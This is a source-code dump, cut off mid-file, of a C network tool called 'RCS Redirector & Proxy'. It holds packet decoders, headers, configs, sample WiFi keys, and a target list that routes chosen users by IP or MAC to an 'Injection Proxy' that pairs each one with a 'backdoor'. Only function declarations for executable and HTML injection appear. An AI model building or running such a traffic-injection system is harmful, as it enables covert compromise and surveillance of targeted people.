26 | 27 | -------------------------------------------------------------------------------- /src/protocols/wifi_prism.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Prism2 header for WiFi packets 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: wifi_prism.c 2667 2010-07-12 11:47:31Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* protos */ 14 | 15 | FUNC_DECODER(decode_prism); 16 | void prism_init(void); 17 | 18 | /*******************************************/ 19 | 20 | /* 21 | * this function is the initializer. 22 | * it adds the entry in the table of registered decoder 23 | */ 24 | 25 | void __init prism_init(void) 26 | { 27 | add_decoder(LINK_LAYER, IL_TYPE_PRISM, decode_prism); 28 | } 29 | 30 | 31 | FUNC_DECODER(decode_prism) 32 | { 33 | FUNC_DECODER_PTR(next_decoder); 34 | 35 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 36 | 37 | /* Simply skip the first 0x90 Bytes (the Prism2 header) and pass 38 | * the whole packet on to the wifi layer */ 39 | DECODED_LEN = 0x90; 40 | 41 | next_decoder = get_decoder(LINK_LAYER, IL_TYPE_WIFI); 42 | EXECUTE_DECODER(next_decoder); 43 | 44 | return NULL; 45 | } 46 | 47 | /* EOF */ 48 | 49 | // vim:ts=3:expandtab 50 | 51 | -------------------------------------------------------------------------------- /include/threads.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: threads.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __THREADS_H 5 | #define __THREADS_H 6 | 7 | #include 8 | #include 9 | 10 | struct my_thread { 11 | char *name; 12 | char *description; 13 | pthread_t id; 14 | }; 15 | 16 | /* a value to be used to return errors in fuctcions using pthread_t values */ 17 | pthread_t MY_PTHREAD_NULL; 18 | #define MY_PTHREAD_SELF MY_PTHREAD_NULL 19 | #define PTHREAD_ID(id) (*(unsigned long*)&(id)) 20 | 21 | #define MY_THREAD_FUNC(x) void * x(void *args) 22 | #define MY_THREAD_PARAM args 23 | 24 | char * my_thread_getname(pthread_t id); 25 | pthread_t my_thread_getpid(char *name); 26 | char * my_thread_getdesc(pthread_t id); 27 | void my_thread_register(pthread_t id, char *name, char *desc); 28 | pthread_t my_thread_new(char *name, char *desc, void *(*function)(void *), void *args); 29 | void my_thread_destroy(pthread_t id); 30 | void my_thread_init(void); 31 | void my_thread_kill_all(void); 32 | void my_thread_exit(void); 33 | 34 | #define CANCELLATION_POINT() pthread_testcancel() 35 | 36 | #endif 37 | 38 | /* EOF */ 39 | 40 | // vim:ts=3:expandtab 41 | 42 | -------------------------------------------------------------------------------- /share/rcsipa.init: -------------------------------------------------------------------------------- 1 | #!/sbin/runscript 2 | # 3 | # Copyright 2009 HT srl 4 | # 5 | 6 | depend() { 7 | need localmount 8 | use net 9 | after capture 10 | } 11 | 12 | checkconfig() { 13 | if [ ! -e $IPA_CFG_FILE ] ; then 14 | eerror "Cannot find the configuration file" 15 | return 1 16 | fi 17 | } 18 | 19 | start() { 20 | ebegin "Starting RCS Redirector & Proxy daemon" 21 | eindent 22 | checkconfig || return 1 23 | einfo "Starting the Sniffer(s)" 24 | eindent 25 | # sleep some time to let the dag driver load correctly 26 | sleep 5 27 | for iface in `grep sniffing_iface $IPA_CFG_FILE | grep -v channel | cut -f 2 -d \"`; do 28 | einfo "Capturing on $iface" 29 | /rcsipa/bin/RCSRedirect -w -a $IPA_CFG_FILE 30 | sleep 1 31 | pidof RCSRedirect > /dev/null 32 | eend $? 33 | done 34 | eoutdent 35 | eoutdent 36 | } 37 | 38 | stop() { 39 | ebegin "Stopping RCS Redirector & Proxy daemon" 40 | eindent 41 | einfo "Stopping the Sniffer(s)" 42 | killall -9 RCSRedirect 2> /dev/null 43 | eend $? 44 | eoutdent 45 | } 46 | 47 | # vim:ts=4:expandtab 48 | -------------------------------------------------------------------------------- /src/match_users_mac.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module to match an user based on static mac address 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: match_users_mac.c 2674 2010-07-13 10:03:12Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | /* global vars */ 17 | 18 | 19 | /* proto */ 20 | 21 | void match_user_mac_add(char *value, char *tag); 22 | 23 | /*******************************************/ 24 | 25 | void match_user_mac_add(char *value, char *tag) 26 | { 27 | u_char mac[MEDIA_ADDR_LEN]; 28 | 29 | /* transform the target string into mac struct */ 30 | if (mac_addr_aton(value, mac) == 0) { 31 | DEBUG_MSG(D_ERROR, "Invalid STATIC-MAC %s in %s", value, GBL_CONF->redirected_users); 32 | } else { 33 | struct timeval tv; 34 | 35 | /* null end_time means there is no timeout */ 36 | memset(&tv, 0, sizeof(struct timeval)); 37 | 38 | /* 39 | * static-mac users are ALWAYS considered active. 40 | * that's all. 41 | * the hook to the LINK level will trigger the tagging 42 | */ 43 | active_user_add(NULL, mac, tag, tv); 44 | } 45 | } 46 | 47 | /* EOF */ 48 | 49 | // vim:ts=3:expandtab 50 | 51 | -------------------------------------------------------------------------------- /share/rcsredirect.conf: -------------------------------------------------------------------------------- 1 | 2 | #################################################################### 3 | ## Common Parameters 4 | #################################################################### 5 | [COMMON] 6 | log_level = 5 # maximum debug level to log in the file 7 | sniffing_iface = "en0" # interfaces to launch the sniffer on 8 | sniffing_iface_channel = 6 # channel for wifi sniffing in monitor mode 9 | response_iface = "en0" # interface to use for the response 10 | pcap_filter = "" # sniff only these protocols 11 | 12 | [TARGETS] 13 | user_timeout = 1200 14 | 15 | [NETCONF] 16 | rnc_sign_file = "network.sig" 17 | rnc_port = 4444 18 | 19 | [WIFI] 20 | #wifi_key = "wep:64:s:\xb1\x92\x27\xef\x6e" 21 | #wifi_key = "wep:128:p:password" 22 | #wifi_key = "wep:128:s:\x12\x34\x56\x78\x90\x12\x34\x56\x78\x90\xAB\xCD\xEF" 23 | #wifi_key = "wpa:psk:663eb260e87cf389c6bd7331b28d82f5203b0cae4e315f9cbb7602f3236708a6" 24 | #wifi_key = "wpa:pwd:BlueToothSux!:IPA" 25 | #wifi_key = "wpa:pwd:Induction:Coherer" 26 | #wifi_key = "wpa:pwd:SteveJobsSux!:RSSM" 27 | #wifi_key = "wpa:pwd:SteveJobsSux!:DI524UP" 28 | #wifi_key = "wpa:pwd:calorifero:calor" 29 | 30 | [RULES] 31 | redirected_fqdn = "redirect_fqdn.txt" 32 | redirected_url = "redirect_url.txt" 33 | redirected_users = "redirect_user.txt" 34 | intercepted_files = "intercept_file.txt" 35 | 36 | -------------------------------------------------------------------------------- /src/protocols/mpls.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- MPLS decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: mpls.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct mpls_header 16 | { 17 | u_int32 mpls; /* mpls header */ 18 | }; 19 | 20 | /* protos */ 21 | 22 | FUNC_DECODER(decode_mpls); 23 | void mpls_init(void); 24 | 25 | /*******************************************/ 26 | 27 | /* 28 | * this function is the initializer. 29 | * it adds the entry in the table of registered decoder 30 | */ 31 | 32 | void __init mpls_init(void) 33 | { 34 | add_decoder(NET_LAYER, LL_TYPE_MPLS, decode_mpls); 35 | } 36 | 37 | 38 | FUNC_DECODER(decode_mpls) 39 | { 40 | FUNC_DECODER_PTR(next_decoder); 41 | struct mpls_header *mpls; 42 | 43 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 44 | 45 | DECODED_LEN = sizeof(struct mpls_header); 46 | 47 | mpls = (struct mpls_header *)DECODE_DATA; 48 | 49 | /* HOOK POINT : HOOK_PACKET_mpls */ 50 | hook_point(HOOK_PACKET_MPLS, po); 51 | 52 | /* leave the control to the next decoder */ 53 | next_decoder = get_decoder(NET_LAYER, LL_TYPE_IP); 54 | 55 | EXECUTE_DECODER(next_decoder); 56 | 57 | return NULL; 58 | } 59 | 60 | 61 | /* EOF */ 62 | 63 | // vim:ts=3:expandtab 64 | 65 | -------------------------------------------------------------------------------- /src/match_users_ip.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- Module to match an user based on static ip 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: match_users_ip.c 2661 2010-07-09 08:33:01Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | /* global vars */ 17 | 18 | 19 | /* proto */ 20 | 21 | void match_user_ip_add(char *value, char *tag); 22 | 23 | /*******************************************/ 24 | 25 | void match_user_ip_add(char *value, char *tag) 26 | { 27 | struct in_addr ip; 28 | 29 | /* transform the target string into ip_addr struct */ 30 | if (inet_pton(AF_INET, value, &ip) <= 0) { 31 | DEBUG_MSG(D_ERROR, "Invalid STATIC-IP %s in %s", value, GBL_CONF->redirected_users); 32 | } else { 33 | struct ip_addr uip; 34 | struct timeval tv; 35 | 36 | /* fill the values */ 37 | ip_addr_init(&uip, AF_INET, (u_char *)&ip); 38 | 39 | /* null end_time means there is no timeout */ 40 | memset(&tv, 0, sizeof(struct timeval)); 41 | 42 | /* 43 | * static-ip users are ALWAYS considered active. 44 | * that's all. 45 | * the hook to the IP level will trigger the tagging 46 | */ 47 | active_user_add(&uip, NULL, tag, tv); 48 | } 49 | } 50 | 51 | /* EOF */ 52 | 53 | // vim:ts=3:expandtab 54 | 55 | -------------------------------------------------------------------------------- /include/file.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: file.h 2937 2010-09-30 12:37:30Z alor $ */ 3 | 4 | #ifndef __FILE_H 5 | #define __FILE_H 6 | 7 | #include 8 | #include 9 | 10 | extern FILE * open_data(char *dir, char *file, char *mode); 11 | extern char * get_full_path(const char *dir, const char *file); 12 | extern char * get_local_path(const char *dir, const char *file); 13 | extern char * get_path(const char *dir, const char *file); 14 | 15 | extern FILE * create_file(char *full_path, char *mode); 16 | 17 | extern int file_open(char *path); 18 | extern int file_read(int fd, void **buf, int len); 19 | extern int file_close(int fd); 20 | extern int file_relative_path(char *fullpath, char *base_path, char **relative_path); 21 | extern int file_absolute_path(char *base_path, char *relative_path, char **fullpath); 22 | extern int file_is_type(char *path, char *base_path, int flag); 23 | extern off_t file_get_size(char *path, char *base_path); 24 | extern char *file_substitute_path(char *fullpath, char *fromstring, char *tostring, char **result); 25 | 26 | #define CONF_FILE "rcsredirect.conf" 27 | 28 | /* fopen modes */ 29 | #define FOPEN_READ_TEXT "r" 30 | #define FOPEN_READ_BIN "rb" 31 | #define FOPEN_WRITE_TEXT "w" 32 | #define FOPEN_WRITE_BIN "wb" 33 | 34 | #define MAX_FILENAME_LEN 512 35 | 36 | #endif 37 | 38 | /* EOF */ 39 | 40 | // vim:ts=3:expandtab 41 | 42 | -------------------------------------------------------------------------------- /include/Makefile.am: -------------------------------------------------------------------------------- 1 | 2 | # $Id: Makefile.am 2999 2010-10-08 10:23:29Z alor $ 3 | 4 | include $(top_srcdir)/Makefile.am.common 5 | 6 | noinst_HEADERS = bio_injector.h \ 7 | bio_replacer.h \ 8 | capture.h \ 9 | checksum.h \ 10 | conf.h \ 11 | debug.h \ 12 | decode.h \ 13 | dhcp.h \ 14 | encryption.h \ 15 | error.h \ 16 | file.h \ 17 | globals.h \ 18 | hook.h \ 19 | inet.h \ 20 | log.h \ 21 | main.h \ 22 | match.h \ 23 | match_fqdn.h \ 24 | match_request.h \ 25 | match_url.h \ 26 | match_users.h \ 27 | netconf.h \ 28 | packet.h \ 29 | parser.h \ 30 | proto.h \ 31 | proxy.h \ 32 | queue.h \ 33 | radius.h \ 34 | send.h \ 35 | signals.h \ 36 | socket.h \ 37 | statemachine.h \ 38 | _stdint.h \ 39 | _strings.h \ 40 | threads.h \ 41 | timer.h \ 42 | ui.h \ 43 | version.h \ 44 | watchdog.h 45 | 46 | EXTRA_DIST = missing/* 47 | 48 | CLEANFILES = *.log *.out core.* *~ .*swp 49 | 50 | # vim:ts=4:expandtab 51 | -------------------------------------------------------------------------------- /include/proxy.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: proxy.h 2993 2010-10-07 09:41:05Z alor $ */ 3 | 4 | #ifndef __PROXY_H 5 | #define __PROXY_H 6 | 7 | #include 8 | 9 | #define PROXY_PORT "80" 10 | 11 | #define CR "\r" 12 | #define LF "\n" 13 | #define HTTP_HOST_TAG "Host: " 14 | #define HTTP_ACCEPT_ENCODING_TAG "Accept-Encoding: " 15 | #define HTTP_CONNECTION_TAG "Connection: " 16 | #define HTTP_RANGE_TAG "Range: " 17 | #define HTTP_CONTENT_LENGTH_TAG "Content-Length: " 18 | #define HTTP_IF_NONE_MATCH_TAG "If-None-Match: " 19 | #define HTTP_IF_MODIFIED_SINCE_TAG "If-Modified-Since: " 20 | 21 | #define HTTP10_200_OK "HTTP/1.0 200 OK" 22 | #define HTTP11_200_OK "HTTP/1.1 200 OK" 23 | 24 | #define HTTP_HEADER_LEN 4096 25 | #define READ_BUFF_SIZE 16384 26 | 27 | /* protos */ 28 | extern void proxy_start(void); 29 | extern int proxy_inject_exe(BIO **cbio, BIO **sbio, char *header, char *file); 30 | extern int proxy_inject_html(BIO **cbio, BIO **sbio, char *header, char *file, char *tag); 31 | extern int proxy_null(BIO **cbio, BIO **sbio, char *header); 32 | extern int proxy_replace(BIO **cbio, BIO **sbio, char *file, char *tag, char *host); 33 | extern int remote_BIOseek(const char *host, const char *resource, size_t offset, BIO **sbio, char *header); 34 | 35 | extern void sanitize_header(char *header); 36 | 37 | #endif 38 | 39 | /* EOF */ 40 | 41 | // vim:ts=3:expandtab 42 | 43 | -------------------------------------------------------------------------------- /share/redirect_user.txt: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # List of users to be redirected to the Injection Proxy 4 | # This list is used to identify an user and associate its IP address 5 | # Only matched IP addresses will be analyzed by the redirector 6 | # The specified tag will be used by the Injection Proxy to associate 7 | # the correct backdoor with the user 8 | # 9 | ###################################################################### 10 | #STATIC-IP 192.168.1.75 alberto_ornaghi 11 | STATIC-IP 192.168.0.50 test_wpa 12 | STATIC-IP 192.168.252.8 test_redirect_tag 13 | STATIC-IP 192.168.252.117 test_redirect_tag 14 | STATIC-IP 192.168.1.170 test_redirect_tag 15 | #STATIC-MAC 00:09:43:5f:e7:03 test_redirect_tag 16 | #STATIC-MAC 00:22:43:52:F7:42 test_redirect_tag 17 | STATIC-MAC 00:22:FB:26:92:9E test_redirect_tag 18 | #STATIC-MAC 00:1E:C2:B2:98:BC test_redirect_tag 19 | #STATIC-IP 192.168.252.34 test_redirect_tag 20 | #RADIUS-LOGIN User targ001 21 | #RADIUS-CALLID 0229060603 targ002 22 | #RADIUS-TECHKEY 192.168.0.1:4/0/0/44.126 targ003 23 | #RADIUS-SESSID 3/0/3/23/167_00124048 alor 24 | #DHCP 00:0C:29:32:D3:B3 alor 25 | #DHCP 00:1D:BA:67:26:4A test_redirect_tag 26 | #DHCP 00:23:54:9E:EE:86 test_replace 27 | #STRING-CLIENT alberto.ornaghi targ004 28 | #STRING-SERVER alberto.ornaghi targ004 29 | #STRING-CLIENT mozilla alor 30 | STRING-CLIENT Host test_redirect_tag 31 | -------------------------------------------------------------------------------- /include/_strings.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: _strings.h 2854 2010-09-10 15:04:07Z alor $ */ 3 | 4 | #ifndef __STRINGS_H 5 | #define __STRINGS_H 6 | 7 | #ifdef HAVE_CTYPE_H 8 | #include 9 | #else 10 | extern int isprint(int c); 11 | #endif 12 | 13 | #ifndef HAVE_STRLCAT 14 | #include 15 | #endif 16 | #ifndef HAVE_STRLCPY 17 | #include 18 | #endif 19 | #ifndef HAVE_STRSEP 20 | #include 21 | #endif 22 | #ifndef HAVE_STRCASESTR 23 | #include 24 | #endif 25 | #ifndef HAVE_MEMMEM 26 | #include 27 | #endif 28 | #ifndef HAVE_BASENAME 29 | #include 30 | #elif defined OS_MACOSX 31 | #include 32 | #endif 33 | 34 | int match_pattern(const char *s, const char *pattern); 35 | int base64_decode(char *bufplain, const char *bufcoded); 36 | int strescape(char *dst, char *src); 37 | int str_replace(char **text, const char *s, const char *d); 38 | size_t strlen_utf8(const char *s); 39 | char * my_strtok(char *s, const char *delim, char **ptrptr); 40 | void str_decode_url(u_char *src); 41 | int str_hex_to_bytes(char *string, u_char *bytes); 42 | char * str_tohex(u_char *bin, size_t len, char *dst, size_t dst_len); 43 | char * hex_format(const u_char *buf, size_t len, char *dst); 44 | 45 | #define HEX_CHAR_PER_LINE 16 46 | #define strtok(x,y) DON_T_USE_STRTOK_DIRECTLY_USE__MY_STRTOK__INSTEAD 47 | 48 | #endif 49 | 50 | /* EOF */ 51 | 52 | // vim:ts=3:expandtab 53 | 54 | -------------------------------------------------------------------------------- /src/protocols/pppoe.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- PPPoE decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: pppoe.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct pppoe_header 16 | { 17 | u_int8 version; 18 | u_int8 session; 19 | u_int16 id; 20 | u_int16 len; 21 | u_int16 proto; /* this is actually part of the PPP header */ 22 | }; 23 | 24 | /* protos */ 25 | 26 | FUNC_DECODER(decode_pppoe); 27 | void pppoe_init(void); 28 | 29 | /*******************************************/ 30 | 31 | /* 32 | * this function is the initializer. 33 | * it adds the entry in the table of registered decoder 34 | */ 35 | 36 | void __init pppoe_init(void) 37 | { 38 | add_decoder(NET_LAYER, LL_TYPE_PPPOE, decode_pppoe); 39 | } 40 | 41 | 42 | FUNC_DECODER(decode_pppoe) 43 | { 44 | FUNC_DECODER_PTR(next_decoder); 45 | struct pppoe_header *pppoe; 46 | 47 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 48 | 49 | DECODED_LEN = sizeof(struct pppoe_header); 50 | 51 | pppoe = (struct pppoe_header *)DECODE_DATA; 52 | 53 | /* HOOK POINT : HOOK_PACKET_pppoe */ 54 | hook_point(HOOK_PACKET_PPPOE, po); 55 | 56 | /* leave the control to the next decoder */ 57 | next_decoder = get_decoder(NET_LAYER, ntohs(pppoe->proto)); 58 | 59 | EXECUTE_DECODER(next_decoder); 60 | 61 | return NULL; 62 | } 63 | 64 | 65 | /* EOF */ 66 | 67 | // vim:ts=3:expandtab 68 | 69 | -------------------------------------------------------------------------------- /include/error.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: error.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __ERROR_H 5 | #define __ERROR_H 6 | 7 | #include 8 | 9 | /* 10 | * the following error codes are to be returned as negative values 11 | * except for ESUCCESS. 12 | */ 13 | enum { 14 | ESUCCESS = 0, 15 | ENOTFOUND = 1, 16 | EINIT = 2, 17 | ENOTHANDLED = 3, 18 | EINVALID = 4, 19 | ENOADDRESS = 5, 20 | EDUPLICATE = 6, 21 | ETIMEOUT = 7, 22 | EOUTOFSTATE = 8, 23 | EFAILURE = 9, 24 | ETHREADEXIT = 10, // use in threads when function ret values requires thread loop exit 25 | EVERSION = 254, 26 | EFATAL = 255, 27 | }; 28 | 29 | void error_msg(char *file, const char *function, int line, char *message, ...); 30 | void fatal_error(char *message, ...); 31 | void bug(char *file, const char *function, int line, char *message); 32 | 33 | #define ERROR_MSG(x, ...) error_msg(__FILE__, __FUNCTION__, __LINE__, x, ## __VA_ARGS__ ) 34 | 35 | #define FATAL_ERROR(x, ...) do { fatal_error(x, ## __VA_ARGS__ ); } while(0) 36 | 37 | #define ON_ERROR(x, y, fmt, ...) do { if (x == y) ERROR_MSG(fmt, ## __VA_ARGS__ ); } while(0) 38 | 39 | #define BUG_IF(x) do { if (x) bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) 40 | 41 | #define BUG(x) do { bug(__FILE__, __FUNCTION__, __LINE__, #x); }while(0) 42 | 43 | #define NOT_IMPLEMENTED() do { BUG("Not yet implemented, please contact the authors"); } while(0) 44 | 45 | 46 | #endif 47 | 48 | /* EOF */ 49 | 50 | // vim:ts=3:expandtab 51 | 52 | -------------------------------------------------------------------------------- /include/match_users.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: match_users.h 2653 2010-07-06 07:31:19Z alor $ */ 3 | 4 | #ifndef __MATCH_USERS_H 5 | #define __MATCH_USERS_H 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | /* 16 | * this is the list of active users associated with their ip addresses 17 | * it contains the static-ip match and the dynamically discovered users 18 | */ 19 | struct user_node { 20 | u_char mac[MEDIA_ADDR_LEN]; 21 | struct ip_addr ip; 22 | char tag[MAX_TAG_LEN]; 23 | struct timeval end_time; 24 | LIST_ENTRY (user_node) next; 25 | }; 26 | 27 | extern void active_user_add(struct ip_addr *ip, u_char *mac, char *tag, struct timeval time); 28 | extern void active_user_del(struct ip_addr *ip); 29 | 30 | extern void match_user_ip_add(char *value, char *tag); 31 | 32 | extern void match_user_mac_add(char *value, char *tag); 33 | 34 | extern void match_user_string_add(char *value, char *tag, int type); 35 | #define STRING_CLIENT 0 36 | #define STRING_SERVER 1 37 | extern void match_user_string_clear(void); 38 | 39 | extern void match_user_radius_add(char *value, char *tag, int type); 40 | #define RADIUS_LOGIN 0 41 | #define RADIUS_CALLID 1 42 | #define RADIUS_TECHKEY 2 43 | #define RADIUS_SESSID 3 44 | extern void match_user_radius_clear(void); 45 | 46 | extern void match_user_dhcp_add(char *value, char *tag); 47 | extern void match_user_dhcp_clear(void); 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /src/protocols/vlan.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- VLAN (802.1q) decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: vlan.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct vlan_header 16 | { 17 | u_int16 vlan; /* vlan identifier */ 18 | u_int16 proto; /* packet type ID field */ 19 | }; 20 | 21 | /* protos */ 22 | 23 | FUNC_DECODER(decode_vlan); 24 | void vlan_init(void); 25 | 26 | /*******************************************/ 27 | 28 | /* 29 | * this function is the initializer. 30 | * it adds the entry in the table of registered decoder 31 | */ 32 | 33 | void __init vlan_init(void) 34 | { 35 | add_decoder(NET_LAYER, LL_TYPE_VLAN, decode_vlan); 36 | } 37 | 38 | 39 | FUNC_DECODER(decode_vlan) 40 | { 41 | FUNC_DECODER_PTR(next_decoder); 42 | struct vlan_header *vlan; 43 | 44 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 45 | 46 | DECODED_LEN = sizeof(struct vlan_header); 47 | 48 | vlan = (struct vlan_header *)DECODE_DATA; 49 | 50 | /* save the vlan id */ 51 | PACKET->L2.vlan = vlan->vlan; 52 | 53 | /* HOOK POINT : HOOK_PACKET_VLAN */ 54 | hook_point(HOOK_PACKET_VLAN, po); 55 | 56 | /* leave the control to the next decoder */ 57 | next_decoder = get_decoder(NET_LAYER, ntohs(vlan->proto)); 58 | 59 | EXECUTE_DECODER(next_decoder); 60 | 61 | return NULL; 62 | } 63 | 64 | 65 | /* EOF */ 66 | 67 | // vim:ts=3:expandtab 68 | 69 | -------------------------------------------------------------------------------- /include/decode.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: decode.h 2610 2010-07-01 08:17:20Z alor $ */ 3 | 4 | #ifndef __DECODE_H 5 | #define __DECODE_H 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | /* layer canonical name */ 13 | 14 | enum { 15 | IFACE_LAYER = 1, 16 | LINK_LAYER = 2, 17 | NET_LAYER = 3, 18 | PROTO_LAYER = 4, 19 | APP_LAYER = 5, /* special case for the middleware decoder. don't use it */ 20 | APP_LAYER_TCP = 51, 21 | APP_LAYER_UDP = 52, 22 | }; 23 | 24 | #define FUNC_DECODER(func) void * func(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) 25 | #define FUNC_DECODER_PTR(func) void * (*func)(u_char *buf, u_int16 buflen, int *len, struct packet_object *po) 26 | 27 | #define DECODE_DATALEN buflen 28 | #define DECODE_DATA buf 29 | #define DECODED_LEN *len 30 | #define PACKET po 31 | 32 | #define EXECUTE_DECODER(x) do{ \ 33 | if (x) \ 34 | x(DECODE_DATA+DECODED_LEN, DECODE_DATALEN-DECODED_LEN, len, PACKET); \ 35 | }while(0) 36 | 37 | #define DECLARE_REAL_PTR_END(x,y) u_char *x = po->DATA.data; \ 38 | u_char *y = x + po->DATA.len 39 | 40 | /* exported functions */ 41 | 42 | void decode_captured(u_char *u, const struct pcap_pkthdr *pkthdr, const u_char *pkt); 43 | void add_decoder(u_int8 level, u_int32 type, FUNC_DECODER_PTR(decoder)); 44 | void del_decoder(u_int8 level, u_int32 type); 45 | void * get_decoder(u_int8 level, u_int32 type); 46 | 47 | 48 | #endif 49 | 50 | /* EOF */ 51 | 52 | // vim:ts=3:expandtab 53 | 54 | -------------------------------------------------------------------------------- /include/_stdint.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: _stdint.h 790 2009-08-03 14:34:04Z alor $ */ 3 | 4 | #ifndef __STDINT_H 5 | #define __STDINT_H 6 | 7 | #include 8 | 9 | #if defined HAVE_STDINT_H && !defined OS_SOLARIS 10 | #include 11 | #elif !defined OS_SOLARIS 12 | #include 13 | #elif defined OS_SOLARIS 14 | #include 15 | #endif 16 | 17 | #ifndef TYPES_DEFINED 18 | #define TYPES_DEFINED 19 | typedef int8_t int8; 20 | typedef int16_t int16; 21 | typedef int32_t int32; 22 | typedef int64_t int64; 23 | 24 | typedef uint8_t u_int8; 25 | typedef uint16_t u_int16; 26 | typedef uint32_t u_int32; 27 | typedef uint64_t u_int64; 28 | 29 | #ifdef OS_BSD_OPEN 30 | #define INT8_MAX CHAR_MAX 31 | #define UINT8_MAX UCHAR_MAX 32 | #define INT16_MAX SHRT_MAX 33 | #define UINT16_MAX USHRT_MAX 34 | #define INT32_MAX INT_MAX 35 | #define UINT32_MAX UINT_MAX 36 | #endif 37 | 38 | /* Maximum of signed integral types. */ 39 | #ifndef INT8_MAX 40 | #define INT8_MAX (127) 41 | #endif 42 | #ifndef INT16_MAX 43 | #define INT16_MAX (32767) 44 | #endif 45 | #ifndef INT32_MAX 46 | #define INT32_MAX (2147483647) 47 | #endif 48 | 49 | /* Maximum of unsigned integral types. */ 50 | #ifndef UINT8_MAX 51 | #define UINT8_MAX (255) 52 | #endif 53 | #ifndef UINT16_MAX 54 | #define UINT16_MAX (65535) 55 | #endif 56 | #ifndef UINT32_MAX 57 | #define UINT32_MAX (4294967295U) 58 | #endif 59 | 60 | #endif 61 | 62 | #endif 63 | 64 | /* EOF */ 65 | 66 | // vim:ts=3:expandtab 67 | -------------------------------------------------------------------------------- /src/missing/scandir.c: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | int scandir(const char *, struct dirent ***, int(*)(const struct dirent *), int(*)(const struct dirent **, const struct dirent **)); 8 | int alphasort(const struct dirent **a, const struct dirent **b); 9 | 10 | /* This function is only required for SunOS, all other supported OS 11 | have this function in their system library */ 12 | 13 | int scandir(const char *dir, struct dirent ***namelist, 14 | int (*select)(const struct dirent *), 15 | int (*compar)(const struct dirent **, const struct dirent **)) 16 | { 17 | DIR *d; 18 | struct dirent *entry; 19 | register int i=0; 20 | size_t entrysize; 21 | 22 | if ((d=opendir(dir)) == NULL) 23 | return(-1); 24 | 25 | *namelist=NULL; 26 | 27 | while ((entry=readdir(d)) != NULL) 28 | { 29 | if (select == NULL || (select != NULL && (*select)(entry))) 30 | { 31 | *namelist=(struct dirent **)realloc((void *)(*namelist), (size_t)((i+1)*sizeof(struct dirent *))); 32 | if (*namelist == NULL) return(-1); 33 | 34 | entrysize=sizeof(struct dirent)-sizeof(entry->d_name)+strlen(entry->d_name)+1; 35 | (*namelist)[i]=(struct dirent *)malloc(entrysize); 36 | if ((*namelist)[i] == NULL) 37 | return(-1); 38 | 39 | memcpy((*namelist)[i], entry, entrysize); 40 | i++; 41 | } 42 | } 43 | if (closedir(d)) return(-1); 44 | if (i == 0) return(-1); 45 | if (compar != NULL) 46 | qsort((void *)(*namelist), (size_t)i, sizeof(struct dirent *), (int (*)(const void *, const void *))compar); 47 | 48 | return(i); 49 | } 50 | 51 | int alphasort(const struct dirent **a, const struct dirent **b) 52 | { 53 | return(strcmp((*a)->d_name, (*b)->d_name)); 54 | } 55 | -------------------------------------------------------------------------------- /src/protocols/erf.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- ERF (endace) decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: erf.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | /* globals */ 14 | 15 | struct erf_header 16 | { 17 | u_int32 timestamp1; 18 | u_int32 timestamp2; 19 | u_int8 type; 20 | u_int8 flags; 21 | u_int16 rlen; 22 | u_int16 color; 23 | u_int16 wlen; 24 | }; 25 | 26 | /* protos */ 27 | 28 | FUNC_DECODER(decode_erf); 29 | void erf_init(void); 30 | 31 | /*******************************************/ 32 | 33 | /* 34 | * this function is the initializer. 35 | * it adds the entry in the table of registered decoder 36 | */ 37 | 38 | void __init erf_init(void) 39 | { 40 | add_decoder(LINK_LAYER, IL_TYPE_ERF, decode_erf); 41 | } 42 | 43 | 44 | FUNC_DECODER(decode_erf) 45 | { 